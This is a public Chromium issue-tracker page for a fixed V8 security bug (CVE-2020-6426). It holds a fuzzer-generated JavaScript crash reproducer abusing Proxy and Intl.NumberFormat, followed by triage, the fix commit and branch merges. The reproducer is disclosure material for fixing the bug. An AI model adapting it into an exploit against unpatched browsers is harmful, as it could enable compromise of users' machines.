







☆ Starred by 3 users

Owner:

 cbruni@chromium.org
Last visit 20 days ago

CC:

vahl@chromium.org
adetaylor@chromium.org
 prashanthpola@chromium.org
 benmason@chromium.org
 hablich@chromium.org
 dgagnon@chromium.org
pbomm...@chromium.org
achuith@chromium.org
leszeks@chromium.org
verwa...@chromium.org
ishell@chromium.org
 ecmziegler@google.com

Status:

Fixed (Closed)

Components:

[Blink>JavaScript>Runtime](#)

Modified:

Jun 24, 2020

Backlog-Rank:

Editors:

EstimatedDays:

NextAction:

[2020-03-06](#)

OS:

[Linux](#), [Android](#), [Windows](#), [Chrome](#), [Mac](#), [Fuchsia](#)

Pri:

1

Type:

[Bug-Security](#)

[Hotlist-Merge-Review](#)
[reward-0](#)
[Security_Impact-Stable](#)
[M-80](#)
[Security_Severity-High](#)
[allpublic](#)
[ClusterFuzz-Verified](#)
[CVE_description-submitted](#)
[Target-80](#)
[VulnerabilityAnalysis-Requested](#)
[VulnerabilityAnalysis-Submitted](#)
[merge-merged-8.0](#)
[merge-merged-3987](#)
[merge-merged-80](#)
[merge-merged-8.1](#)
[CVE-2020-6426](#)

Issue 1052647: Security: Debug check failed: !context.get(context_entry).IsTheHole(isolate)

Reported by b3nd3...@gmail.com on Sun, Feb 16, 2020, 1:55 AM EST

 Code

Target : ASAN-D8-DBG Latest
Crash Type: Debug check failed: !context.get(context_entry).IsTheHole(isolate)
Crash State:

```
#
# Fatal error in ../../src/objects/elements.cc, line 3894
# Debug check failed: !context.get(context_entry).IsTheHole(isolate).
#
#
#FailureMessage Object: 0x7ffb9b62a00
```

POC:

```
function main() {
  const v2 = [];
  const v3 = {hasOwnProperty:v2};
  function v5(v6,v7,v8,v9,v10) {
    const v14 = Intl.NumberFormat;
    let v16 = v14;
    const v18 = Reflect.construct(v16,arguments);
    const v20 = Boolean.__proto__;
    const v22 =
{preventExtensions:eval,get:eval,prototypeOf:Object,deleteProperty:Boolean,set:Boolean,getOwnPropertyDescriptor:eval,apply:v20,has:eval,ownKeys:Boolean,setPrototypeOf:eval,call:v20,isExtensible:v20,defineProperty:eval};
    const v24 = new Proxy(v5,v22);
    Boolean.__proto__ = v24;
    return 100;
  }
  const v25 = {construct:Boolean,call:Boolean,apply:v5,setPrototypeOf:v5,isExtensible:v5,prototypeOf:v5,ownKeys:Boolean,preventExtensions:Boolean};
  const v27 = new Proxy(v3,v25);
  v27.__proto__ = Boolean;
  const v29 = [];
  const v31 = [];
  const v33 = [];
  const v34 = {hasOwnProperty:v33};
  function v36(v37,v38,v39,v40,v41) {
    const v45 = v31.__proto__;
    const v47 =
{preventExtensions:Boolean,e:Boolean,prototypeOf:eval,deleteProperty:Boolean,set:Boolean,getOwnPropertyDescriptor:Boolean,apply:v45,has:Boolean,ownKeys:Boolean,n,setPrototypeOf:Boolean,call:v45,isExtensible:v45,defineProperty:Boolean};
    const v49 = new Proxy(Boolean,v47);
    v45.__proto__ = v49;
    return 100;
  }
```

```
}
const v50 = {construct:Boolean,call:Boolean,apply:v36,setPrototypeOf:v36,isExtensible:v36,getPrototypeOf:v36,ownKeys:Boolean,preventExtensions:v29};
const v52 = new Proxy(v34,v50);
v52.__proto__ = Boolean;
const v55 = [];
const v57 = Intl.NumberFormat;
v57.__proto__ = v55;
const v58 = v57();
}
```

main();

*** - runtime flags - (null)

*** This sample was found through context aware fuzzing .

*** Fuzzer Generation - MK_0.242 .

[Comment 1](#) by [ClusterFuzz](#) on Mon, Feb 17, 2020, 10:47 AM EST Project Member

ClusterFuzz is analyzing your testcase. Developers can follow the progress at <https://clusterfuzz.com/testcase?key=5727990186049536>.

[Comment 2](#) by rsleevi@chromium.org on Mon, Feb 17, 2020, 11:10 AM EST Project Member

Status: Untriaged (was: Unconfirmed)

Owner: hablich@chromium.org

Labels: OS-Android OS-Chrome OS-Fuchsia OS-Linux OS-Mac OS-Windows

Components: Blink>JavaScript>Runtime

hablich: Could you help triage this? This does seem to reliably crash (I'm not sure Clusterfuzz's reproducability issue) in failing a DCHECK, but I'm having trouble assessing the severity and impact.

[Comment 3](#) by [ClusterFuzz](#) on Mon, Feb 17, 2020, 11:39 AM EST Project Member

Testcase 5727990186049536 failed to reproduce the crash. Please inspect the program output at <https://clusterfuzz.com/testcase?key=5727990186049536>.

[Comment 4](#) by [sheriffbot](#) on Mon, Feb 17, 2020, 12:59 PM EST Project Member

Status: Assigned (was: Untriaged)

[Comment 5](#) by [ClusterFuzz](#) on Mon, Feb 17, 2020, 2:17 PM EST Project Member

ClusterFuzz is analyzing your testcase. Developers can follow the progress at <https://clusterfuzz.com/testcase?key=5188624166486016>.

[Comment 6](#) by [ClusterFuzz](#) on Mon, Feb 17, 2020, 3:07 PM EST Project Member

Labels: Security_Impact-Stable

Detailed Report: <https://clusterfuzz.com/testcase?key=5188624166486016>

Fuzzer:

Job Type: linux_asan_d8_dbg

Platform id: linux

Crash Type: DCHECK failure

Crash Address:

Crash State:

!context.get(context_entry).IsTheHole(isolate) in elements.cc

Sanitizer: address (ASAN)

Regressed: https://clusterfuzz.com/revisions?job=linux_asan_d8_dbg&range=55620:55621

Reproducer Testcase: https://clusterfuzz.com/download?testcase_id=5188624166486016

The reproduce tool requires a ClusterFuzz source checkout. To prepare one, run:

git clone <https://github.com/google/clusterfuzz> && cd clusterfuzz && git checkout tags/reproduce-tool-stable

To reproduce this issue, run:

./reproduce.sh -t <https://clusterfuzz.com/testcase-detail/5188624166486016> -b /path/to/build

Please use the GN arguments provided in this report when building the binary. If you have any feedback on reproducing test cases, let us know at <https://forms.gle/Yh3qCYFvEHj6E5jz5> so we can improve.

[Comment 7](#) by rsleevi@chromium.org on Mon, Feb 17, 2020, 3:24 PM EST Project Member

Labels: Security_Severity-High Security_Needs_Attention-Severity

[Comment 8](#) by [sheriffbot](#) on Tue, Feb 18, 2020, 11:13 AM EST Project Member

Labels: Target-80 M-80

Setting milestone and target because of Security_Impact=Stable and high severity.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 9](#) by [sheriffbot](#) on Tue, Feb 18, 2020, 11:54 AM EST Project Member

Labels: Pri-1

Setting Pri-1 to match security severity High. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 10](#) by habl...@google.com on Tue, Feb 18, 2020, 1:11 PM EST Project Member

Owner: verwa...@chromium.org

[Comment 11](#) by [sheriffbot](#) on Sun, Mar 1, 2020, 12:31 PM EST Project Member

verwaest: Uh oh! This issue still open and hasn't been updated in the last 14 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 12](#) by [verwa...@chromium.org](#) on Mon, Mar 2, 2020, 4:42 AM EST Project Member

Owner: cbruni@chromium.org

[Comment 13](#) by [sheriffbot](#) on Mon, Mar 2, 2020, 12:31 PM EST Project Member

cbruni: Uh oh! This issue still open and hasn't been updated in the last 15 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 14](#) by [cbruni@chromium.org](#) on Mon, Mar 2, 2020, 1:06 PM EST Project Member

Status: Started (was: Assigned)

[Comment 15](#) by [bugdroid](#) on Tue, Mar 3, 2020, 6:35 AM EST Project Member

The following revision refers to this bug:

<https://chromium.googlesource.com/v8/v8.git/+09d14728ca251c955f4634036f8d72a4665e96c6>

commit [09d14728ca251c955f4634036f8d72a4665e96c6](#)

Author: Camillo Bruni <cbruni@chromium.org>

Date: Tue Mar 03 11:33:53 2020

[intl] Fix Intl.NumberFormat constructor

Call the @@hasInstance trap only when required by the spec.

[Bug-chromium:1052647](#)

Change-Id: I7a0a3133c7b6280c6a3215e379bf02e9c22ffe55

Reviewed-on: <https://chromium-review.googlesource.com/c/v8/v8/+2082560>

Commit-Queue: Camillo Bruni <cbruni@chromium.org>

Reviewed-by: Sathya Gunasekaran <gsathya@chromium.org>

Cr-Commit-Position: refs/heads/master@{#66558}

[modify] <https://crrev.com/09d14728ca251c955f4634036f8d72a4665e96c6/src/builtins/builtins-intl.cc>

[modify] <https://crrev.com/09d14728ca251c955f4634036f8d72a4665e96c6/test/mjsunit/mjsunit.status>

[add] <https://crrev.com/09d14728ca251c955f4634036f8d72a4665e96c6/test/mjsunit/regress/regress-crbug-1052647.js>

[Comment 16](#) by [ClusterFuzz](#) on Wed, Mar 4, 2020, 7:00 AM EST Project Member

Status: Verified (was: Started)

Labels: ClusterFuzz-Verified

ClusterFuzz testcase 5188624166486016 is verified as fixed in https://clusterfuzz.com/revisions?job=linux_asan_d8_dbg&range=66557:66558

If this is incorrect, please add the ClusterFuzz-Wrong label and re-open the issue.

[Comment 17](#) by [cbruni@chromium.org](#) on Wed, Mar 4, 2020, 7:22 AM EST Project Member

Labels: Merge-Request-81

It's not fully clear whether leaking out the _hole can cause serious security issues.

Backmerging the core-fix is easy and low-risk

[Comment 18](#) by [sheriffbot](#) on Wed, Mar 4, 2020, 7:27 AM EST Project Member

Labels: -Merge-Request-81 Merge-Review-81 Hotlist-Merge-Review

This bug requires manual review: We are only 12 days from stable.

Before a merge request will be considered, the following information is required to be added to this bug:

1. Does your merge fit within the Merge Decision Guidelines?
- Chrome: https://chromium.googlesource.com/chromium/src.git/+master/docs/process/merge_request.md#when-to-request-a-merge
- Chrome OS: <https://goto.google.com/cros-release-branch-merge-guidelines>
2. Links to the CLs you are requesting to merge.
3. Has the change landed and been verified on master/ToT?
4. Why are these changes required in this milestone after branch?
5. Is this a new feature?
6. If it is a new feature, is it behind a flag using finch?

Please contact the milestone owner if you have questions.

Owners: benmason@(Android), bindusuvama@(iOS), geohsu@(ChromeOS), pbommana@(Desktop)

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 19](#) by [sheriffbot](#) on Wed, Mar 4, 2020, 2:03 PM EST Project Member

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

[Comment 20](#) by [gov...@chromium.org](#) on Wed, Mar 4, 2020, 7:58 PM EST Project Member

Cc: adetaylor@chromium.org benmason@chromium.org pbomm...@chromium.org

+adetaylor@ (Security TPM) for M81 merge review

+M81 Release TPMs as well.

[Comment 21](#) by [adetaylor@chromium.org](#) on Wed, Mar 4, 2020, 8:08 PM EST Project Member

NextAction: 2020-03-06

We should merge to M81 but I'd prefer to give this 2-3 days in Canary.

[Comment 22](#) by [pbommana@google.com](#) on Thu, Mar 5, 2020, 6:29 PM EST Project Member

Cc: hablich@chromium.org vahl@chromium.org

+V8 TPM's

[Comment 23](#) by [hablich@chromium.org](#) on Fri, Mar 6, 2020, 3:36 AM EST Project Member

Labels: -Merge-Review-81 Merge-approved-81

Comment 24 by [bugdroid](#) on Mon, Mar 9, 2020, 8:45 AM EDT Project Member

Labels: merge-merged-8.1

The following revision refers to this bug:

<https://chromium.googlesource.com/v8/v8.git/+9f7e3a44766085d9a9d1721b227af6e53c49392d>

commit [9f7e3a44766085d9a9d1721b227af6e53c49392d](#)

Author: Camillo Bruni <Camillo.Bruni@chromium.org>

Date: Mon Mar 09 12:45:07 2020

Merged: [intl] Fix Intl.NumberFormat constructor

Revision: [09d14728ca251c955f4634036f8d72a4665e96c6](#)

~~BUG=chromium.1052647~~

NOTRY=true

NOPRESUBMIT=true

NOTREECHECKS=true

R=victorgomes@chromium.org

Change-Id: [I6e58fdb8c59fe3b886b8b4850cb5163eeefa5577](#)

Reviewed-on: <https://chromium-review.googlesource.com/c/v8/v8/+2093502>

Reviewed-by: Victor Gomes <victorgomes@chromium.org>

Commit-Queue: Camillo Bruni <cbruni@chromium.org>

Cr-Commit-Position: refs/branch-heads/8.1@{#43}

Cr-Branched-From: [a4dcd39d521d14c4b1cac020812e44ee04a7f244-refs/heads/8.1.307@{#1}](#)

Cr-Branched-From: [f22c213304ec3542df87019aed0909b7dfeaa93-refs/heads/master@{#66031}](#)

[modify] <https://crrev.com/9f7e3a44766085d9a9d1721b227af6e53c49392d/src/builtins/builtins-intl.cc>

[modify] <https://crrev.com/9f7e3a44766085d9a9d1721b227af6e53c49392d/test/mjsunit/mjsunit.status>

[add] <https://crrev.com/9f7e3a44766085d9a9d1721b227af6e53c49392d/test/mjsunit/regress/regress-crbug-1052647.js>

Comment 25 by cbruni@chromium.org on Mon, Mar 9, 2020, 10:43 AM EDT Project Member

Labels: -Merge-Approved-81

Comment 26 by natashapabrai@google.com on Mon, Mar 9, 2020, 3:22 PM EDT Project Member

Labels: reward-topanel

Comment 27 by mmoroz@google.com on Tue, Mar 10, 2020, 1:04 PM EDT Project Member

Labels: VulnerabilityAnalysis-Requested

cbruni@, thank you for fixing this issue. Chrome Security team needs your knowledge to prevent that whole class of bugs from happening elsewhere. We would greatly appreciate if you could tell us more about the issue by filling out the following form: <https://forms.gle/VWKDUv9a8GXCCRWm7>

Comment 28 by mmoroz@google.com on Wed, Mar 11, 2020, 2:50 PM EDT Project Member

Labels: VulnerabilityAnalysis-Submitted

Comment 29 by natashapabrai@google.com on Wed, Mar 11, 2020, 6:42 PM EDT Project Member

Hi - The Panel needs more information re: the exploitability of this report to make an assessment on if it is rewardable.

Comment 30 by cbruni@chromium.org on Thu, Mar 12, 2020, 8:44 AM EDT Project Member

V8 crashes in most places when handling an unexpected hole value.

So far we are not directly aware of a direct exploit using a leaked hole value.

Comment 31 by adetaylor@google.com on Fri, Mar 13, 2020, 1:44 PM EDT Project Member

Labels: Release-0-M81

Comment 32 by adetaylor@chromium.org on Fri, Mar 13, 2020, 2:30 PM EDT Project Member

Labels: CVE-2020-6426 CVE_description-missing

Comment 33 by gov...@chromium.org on Mon, Mar 16, 2020, 2:15 AM EDT Project Member

Labels: Merge-Approved-3987_137

Approving merge to M80 mini branch 3987_137. Please merge ASAP.

Comment 34 by gov...@chromium.org on Mon, Mar 16, 2020, 2:17 AM EDT Project Member

Cc: vahl@google.com

+V8 TPMS for expedite merge to M80 mini branch 3987_137.

Comment 35 by gov...@chromium.org on Mon, Mar 16, 2020, 2:25 AM EDT Project Member

Labels: -Merge-Approved-3987_137 Merge-Approved-80

Comment 36 by [bugdroid](#) on Mon, Mar 16, 2020, 5:10 AM EDT Project Member

Labels: merge-merged-8.0

The following revision refers to this bug:

<https://chromium.googlesource.com/v8/v8.git/+a60d222788dac5a14732ffaa5534ecddaa1e9876>

commit [a60d222788dac5a14732ffaa5534ecddaa1e9876](#)

Author: Camillo Bruni <cbruni@chromium.org>

Date: Mon Mar 16 09:07:30 2020

Merged: [intl] Fix Intl.NumberFormat constructor

Revision: [09d14728ca251c955f4634036f8d72a4665e96c6](#)

~~BUG=chromium.1052647~~

NOTRY=true

NOPRESUBMIT=true

NOTREECHECKS=true

Change-Id: [I5cd522882c9a5952c4ca62405dbab52b5c6fb95](#)

Reviewed-on: <https://chromium-review.googlesource.com/c/v8/v8/+2104887>

Commit-Queue: Camillo Bruni <cbruni@chromium.org>

Reviewed-by: Leszek Swirski <leszeks@chromium.org>

Cr-Commit-Position: refs/branch-heads/8.0@{#54}
Cr-Branched-From: 69827db645fcece065bf16a795a4ec8d3a51057f-refs/heads/8.0.426@{#2}
Cr-Branched-From: 2fe1552c5809d0dd92e81d36a5535cbb7c518800-refs/heads/master@{#65318}

[modify] <https://crrev.com/a60d222788dac5a14732ffaa5534ecddaa1e9876/src/builtins/builtins-intl.cc>
[modify] <https://crrev.com/a60d222788dac5a14732ffaa5534ecddaa1e9876/test/mjsunit/mjsunit.status>
[add] <https://crrev.com/a60d222788dac5a14732ffaa5534ecddaa1e9876/test/mjsunit/regress/regress-crbug-1052647.js>

Comment 37 by [bugdroid](#) on Mon, Mar 16, 2020, 1:24 PM EDT Project Member

Labels: merge-merged-3987_137

The following revision refers to this bug:
<https://chromium.googlesource.com/chromium/src.git/+eba2a3f4d047516e7529efa497d25cad10dc4081>

commit [eba2a3f4d047516e7529efa497d25cad10dc4081](#)

Author: John Budorick <jbudorick@chromium.org>
Date: Mon Mar 16 17:23:56 2020

3987_137: Roll v8 to [9c25291e705136181ede345dabcf05fb054812af](#).

[Bug-1052647](#)

Change-Id: [Id9a5e7affd718900a44da35520155987c60f5d7f](#)
Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+2105558>
Reviewed-by: Krishna Govind <govind@chromium.org>
Cr-Commit-Position: refs/branch-heads/3987_137@{#13}
Cr-Branched-From: [55c16ce255e7a7feca588abeb4f082026b35e1ef](#)-refs/branch-heads/3987@{#989}
Cr-Branched-From: [c4e8da9871cc266be74481e212f3a5252972509d](#)-refs/heads/master@{#72274}

[modify] <https://crrev.com/eba2a3f4d047516e7529efa497d25cad10dc4081/DEPS>

Comment 38 by [gov...@chromium.org](#) on Mon, Mar 16, 2020, 8:42 PM EDT Project Member

Approving merge to M80 branch 3987, please merge ASAP. Thank you.

Comment 39 by [cbruni@chromium.org](#) on Tue, Mar 17, 2020, 4:17 AM EDT Project Member

Labels: -Merge-Approved-80

Comment 40 by [adetaylor@google.com](#) on Tue, Mar 17, 2020, 11:17 AM EDT Project Member

Labels: -Release-0-M81 Release-5-M80

Comment 41 by [dgagnon@google.com](#) on Tue, Mar 17, 2020, 2:13 PM EDT Project Member

Cc: dgagnon@chromium.org

Comment 42 by [dgagnon@google.com](#) on Tue, Mar 17, 2020, 3:48 PM EDT Project Member

Has the merge to M80 branch 3987 been completed?

Comment 43 by [dgagnon@google.com](#) on Tue, Mar 17, 2020, 3:54 PM EDT Project Member

Status: Assigned (was: Verified)

Re opening until this is merged to M80 branch 3987

Comment 44 by [adetaylor@google.com](#) on Tue, Mar 17, 2020, 4:08 PM EDT Project Member

Labels: -Security_Needs_Attention-Severity

This is to be merged by this CL:
<https://chromium-review.googlesource.com/c/chromium/src/+2106466>
(i.e. it's been merged into the V8 8.0 branch head, but not the V8 8.0-ikgr branch because those automated processes are no longer active on V8 M80, and so John is pinning to an explicit SHA in order to pull this particular fix into any new versions of Chrome 80.)

Comment 45 by [adetaylor@google.com](#) on Tue, Mar 17, 2020, 4:08 PM EDT Project Member

Status: Fixed (was: Assigned)

That CL has just been submitted, so I'm marking this as Fixed again - otherwise it confuses all our release notes scripts etc. anyway.

Comment 46 by [bugdroid](#) on Tue, Mar 17, 2020, 4:10 PM EDT Project Member

Labels: merge-merged-3987 merge-merged-80

The following revision refers to this bug:
<https://chromium.googlesource.com/chromium/src.git/+2d0fe41d62ea7e210d63c77d69edc4c77ce5ec19>

commit [2d0fe41d62ea7e210d63c77d69edc4c77ce5ec19](#)

Author: John Budorick <jbudorick@chromium.org>
Date: Tue Mar 17 20:09:14 2020

3987: pin v8 to [9c25291e705136181ede345dabcf05fb054812af](#).

This has the net effect of updating from 8.0.426.26 to 8.0.426.27.
The only change included in that update is
<https://chromium.googlesource.com/v8/v8/+a60d222788dac5a14732ffaa5534ecddaa1e9876>

[Bug-1052647](#)

Change-Id: [I23757c51f48eb699ce4b981f1c513dd037ed22e9](#)
Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+2106466>
Reviewed-by: Krishna Govind <govind@chromium.org>
Reviewed-by: Adrian Taylor <adetaylor@google.com>
Commit-Queue: Krishna Govind <govind@chromium.org>
Cr-Commit-Position: refs/branch-heads/3987@{#1018}
Cr-Branched-From: [c4e8da9871cc266be74481e212f3a5252972509d](#)-refs/heads/master@{#72274}

[modify] <https://crrev.com/2d0fe41d62ea7e210d63c77d69edc4c77ce5ec19/DEPS>

Comment 47 by [gov...@chromium.org](#) on Tue, Mar 17, 2020, 4:33 PM EDT Project Member

Cc: prashanthpola@chromium.org

Comment 48 by [vahl@chromium.org](#) on Wed, Mar 18, 2020, 4:35 AM EDT Project Member

Cc: -vahl@google.com

Comment 49 by [natashapabrai@google.com](#) on Thu, Mar 19, 2020, 12:10 PM EDT Project Member

Labels: -reward-topanel reward-0

Unfortunately the Panel declined to award this report

[Comment 50](#) by [adetaylor@chromium.org](#) on Thu, Mar 19, 2020, 6:30 PM EDT Project Member

Labels: -CVE_description-missing CVE_description-submitted

[Comment 51](#) by [adetaylor@google.com](#) on Wed, Mar 25, 2020, 3:31 PM EDT Project Member

Cc: [achuith@chromium.org](#)

[Comment 52](#) by [bugdroid](#) on Mon, Mar 30, 2020, 6:59 PM EDT Project Member

The following revision refers to this bug:

<https://chromium.googlesource.com/chromium/src.git/+4e5a9529c02098aa8218a26e4a791e9a1a9c5a1e>

commit [4e5a9529c02098aa8218a26e4a791e9a1a9c5a1e](#)

Author: Srinivas Sista <srinivassista@chromium.org>

Date: Mon Mar 30 22:58:07 2020

Revert "3987: pin v8 to [9c25291e705136181ede345dabc0f05fb054812af](#)."

This reverts commit [2d0fe41d62ea7e210d63c77d69edc4c77ce5ec19](#).

Reason for revert: Reverting the CL as we dont want to pin any more

Original change's description:

> 3987: pin v8 to [9c25291e705136181ede345dabc0f05fb054812af](#).

>

> This has the net effect of updating from 8.0.426.26 to 8.0.426.27.

> The only change included in that update is

> <https://chromium.googlesource.com/v8/v8/+a60d22788dac5a14732ffaa5534ecddaa1e9876>

>

> [Bug-1052647](#)

> Change-Id: I23757c51f48eb699ce4b981f1c513dd037ed22e9

> Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+2106466>

> Reviewed-by: Krishna Govind <govind@chromium.org>

> Reviewed-by: Adrian Taylor <adetaylor@google.com>

> Commit-Queue: Krishna Govind <govind@chromium.org>

> Cr-Commit-Position: refs/branch-heads/3987@{#1018}

> Cr-Branched-From: [c4e8da9871cc266be74481e212f3a5252972509d](#)-refs/heads/master@{#722274}

TBR=hablich@chromium.org,govind@chromium.org,adetaylor@chromium.org,adetaylor@google.com,jbudorick@chromium.org

Not skipping CQ checks because original CL landed > 1 day ago.

[Bug-1052647](#)

Change-Id: I914524aa9572f4d48d1e6bef7d2ee4d13200f50e

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+2128830>

Reviewed-by: Srinivas Sista <srinivassista@chromium.org>

Reviewed-by: Krishna Govind <govind@chromium.org>

Commit-Queue: Srinivas Sista <srinivassista@chromium.org>

Cr-Commit-Position: refs/branch-heads/3987@{#1033}

Cr-Branched-From: [c4e8da9871cc266be74481e212f3a5252972509d](#)-refs/heads/master@{#722274}

[modify] <https://crrev.com/4e5a9529c02098aa8218a26e4a791e9a1a9c5a1e/DEPS>

[Comment 53](#) by [bugdroid](#) on Thu, Apr 2, 2020, 9:41 AM EDT Project Member

Labels: merge-merged-8.3

The following revision refers to this bug:

<https://chromium.googlesource.com/v8/v8.git/+09d14728ca251c955f4634036f8d72a4665e96c6>

commit [09d14728ca251c955f4634036f8d72a4665e96c6](#)

Author: Camillo Bruni <cbruni@chromium.org>

Date: Tue Mar 03 11:33:53 2020

[intl] Fix Intl.NumberFormat constructor

Call the @@hasInstance trap only when required by the spec.

[Bug-chromium-1052647](#)

Change-Id: I7a0a3133c7b6280c6a3215e379bf02e9c22fe55

Reviewed-on: <https://chromium-review.googlesource.com/c/v8/v8/+2082560>

Commit-Queue: Camillo Bruni <cbruni@chromium.org>

Reviewed-by: Sathya Gunasekaran <gsathya@chromium.org>

Cr-Commit-Position: refs/heads/master@{#66558}

[modify] <https://crrev.com/09d14728ca251c955f4634036f8d72a4665e96c6/src/builtins/builtins-intl.cc>

[modify] <https://crrev.com/09d14728ca251c955f4634036f8d72a4665e96c6/test/mjsunit/mjsunit.status>

[add] <https://crrev.com/09d14728ca251c955f4634036f8d72a4665e96c6/test/mjsunit/regress/regress-crbug-1052647.js>

[Comment 54](#) by [bugdroid](#) on Thu, Apr 2, 2020, 10:12 AM EDT Project Member

The following revision refers to this bug:

<https://chromium.googlesource.com/v8/v8.git/+09d14728ca251c955f4634036f8d72a4665e96c6>

commit [09d14728ca251c955f4634036f8d72a4665e96c6](#)

Author: Camillo Bruni <cbruni@chromium.org>

Date: Tue Mar 03 11:33:53 2020

[intl] Fix Intl.NumberFormat constructor

Call the @@hasInstance trap only when required by the spec.

[Bug-chromium-1052647](#)

Change-Id: I7a0a3133c7b6280c6a3215e379bf02e9c22fe55

Reviewed-on: <https://chromium-review.googlesource.com/c/v8/v8/+2082560>

Commit-Queue: Camillo Bruni <cbruni@chromium.org>

Reviewed-by: Sathya Gunasekaran <gsathya@chromium.org>

Cr-Commit-Position: refs/heads/master@{#66558}

[modify] <https://crrev.com/09d14728ca251c955f4634036f8d72a4665e96c6/src/builtins/builtins-intl.cc>

[modify] <https://crrev.com/09d14728ca251c955f4634036f8d72a4665e96c6/test/mjsunit/mjsunit.status>

[add] <https://crrev.com/09d14728ca251c955f4634036f8d72a4665e96c6/test/mjsunit/regress/regress-crbug-1052647.js>

Comment 55 by sheriffbot on Wed, Jun 24, 2020, 2:59 PM EDT Project Member

Labels: -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot